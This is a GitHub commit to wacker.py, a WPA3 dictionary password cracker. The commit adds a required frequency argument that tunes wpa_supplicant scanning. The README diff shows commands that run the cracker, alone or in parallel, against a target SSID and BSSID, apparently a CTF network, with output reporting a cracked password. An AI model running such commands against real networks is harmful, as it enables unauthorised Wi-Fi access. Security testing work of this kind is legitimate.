Skip to content

Commit

Permalink
Add new required freq argument.
Browse files Browse the repository at this point in the history
Supplied freq should be the center frequency of the AP. The
freq will then be used to set the scan_freq and freq_list
options of the supplicant conf. The idea being to optimize
the periodic scanning of the supplicant to reduce the amount
of down time experienced. This will also help in cases where
another AP exists that matches the same ssid and bssid on
a different frequency.
  • Loading branch information
bigfy committed Aug 21, 2020
1 parent f121b32 commit d1b6d9e
Show file tree
Hide file tree
Showing 2 changed files with 10 additions and 12 deletions.
13 changes: 7 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@ The wacker.py script is intended to perform all the heavy lifting.
```
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID [--start START_WORD]
--ssid SSID --freq FREQ [--start START_WORD]
A WPA3 dictionary cracker. Must run as root!
Expand All @@ -121,11 +121,12 @@ optional arguments:
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
```
With any luck... running the attack using just instance...
With any luck... running the attack using just one instance...
```
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
Starting wpa_supplicant...
5796 / 509152 words : 64.33 words/sec : 7824 secs to exhaust : word = Aeromechanics
Found the password: 'Aeromechanics'
Expand All @@ -135,9 +136,9 @@ Time elapsed : 90.0927004814148 seconds

Running multiple instances of wacker is easy if you have the spare nics. Don't forget to parition the wordlist as well.
```
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
```

# Files of interest
Expand Down
9 changes: 3 additions & 6 deletions wacker.py
Original file line number Diff line number Diff line change
Expand Up @@ -96,6 +96,8 @@ def one_time_setup(self):
self.send_to_server(f'SET_NETWORK 0 ssid "{self.args.ssid}"')
self.send_to_server(f'SET_NETWORK 0 key_mgmt SAE')
self.send_to_server(f'SET_NETWORK 0 bssid {self.args.bssid}')
self.send_to_server(f'SET_NETWORK 0 scan_freq {self.args.freq}')
self.send_to_server(f'SET_NETWORK 0 freq_list {self.args.freq}')
self.send_to_server(f'SET_NETWORK 0 ieee80211w 1')
self.send_to_server(f'DISABLE_NETWORK 0')
logging.debug(f'--- created network block 0 ---')
Expand Down Expand Up @@ -156,17 +158,12 @@ def check_interface(interface):
return interface


def check_file(file_path):
if not os.path.isfile(file_path):
raise argparse.ArgumentTypeError(f'{file_path} wordlist does exist')
return file_path


parser = argparse.ArgumentParser(description='A WPA3 dictionary cracker. Must run as root!')
parser.add_argument('--wordlist', type=argparse.FileType('r'), required=True, help='wordlist to use', dest='wordlist')
parser.add_argument('--interface', type=check_interface, dest='interface', required=True, help='interface to use')
parser.add_argument('--bssid', type=check_bssid, dest='bssid', required=True, help='bssid of the target')
parser.add_argument('--ssid', type=str, dest='ssid', required=True, help='the ssid of the WPA3 AP')
parser.add_argument('--freq', type=int, dest='freq', required=True, help='frequency of the ap')
parser.add_argument('--start', type=str, dest='start_word', help='word to start with in the wordlist')

args = parser.parse_args()
Expand Down

0 comments on commit d1b6d9e

Please sign in to comment.